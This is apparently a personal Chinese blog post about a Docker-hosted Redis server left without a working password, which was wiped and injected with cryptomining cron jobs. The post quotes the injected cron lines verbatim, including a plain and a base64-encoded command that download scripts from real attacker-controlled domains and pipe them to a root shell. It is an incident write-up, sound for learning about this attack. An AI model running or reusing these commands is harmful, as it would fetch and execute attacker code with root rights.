服务器之前部署了个项目用到了Redis,用Docker装的,没设置好密码当时也没怎么在意。
这两天学Redis的时候突然发现出问题了。
今天服务器里的Redis用命令行能连上、自己电脑上用了个图形界面的软件试着也能能连上,学Jedis时写了个demo程序运行后发现连不上。
连上Redis排查后发现原本的数据全没了,只剩下四条数据,backup1、backup2、backup3和backup4。
还想着是不是又在哪配置错了Redis给我整了个定期备份还backup呢,随手点开一看,内容是这样:
1 | */2 * * * * root cd1 -fsSL http://oracle.zzhreceive.top/b2f628/b.sh | sh |
看到几条cron表达式还要用root执行命令,突然想起来前两天听说Redis会被注入挖矿脚本,查了一下,还真是被注入脚本了。
一顿操作后发现服务器里的Redis根本不用密码就能连上,原来这么久过来我配的密码一点用都没有。
其间调试的时候反复用Docker启动删除Redis,有一次时间也就有个五分钟,没想到又被注入了,真够厉害。
内容是这样,还用了base64加密。
1 | */2 * * * * root echo Y2QxIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai9iLnNoCg==|base64 -d|bash|bash |
把加密的部分解码后,查了一下果然还是脚本。不过这里为什么要加密。
1 | */2 * * * * root echo cd1 http://b.9-9-8.com/brysj/b.sh -d|bash|bash |
后面折腾了一晚上,终于把Redis的密码给设置上了,顺便也把端口给改了。
顺便在网上找到了一篇相关的文章,关于这个”zzhreceive.top“的:
【Watchdog 还是 TeamTNT?一例攻击归因刍议】看不懂,感觉好厉害。
希望这脚本对服务器没什么影响。
最后Jedis连上了,不是因为被注入脚本的问题,只是传给Jedis的域名写错了。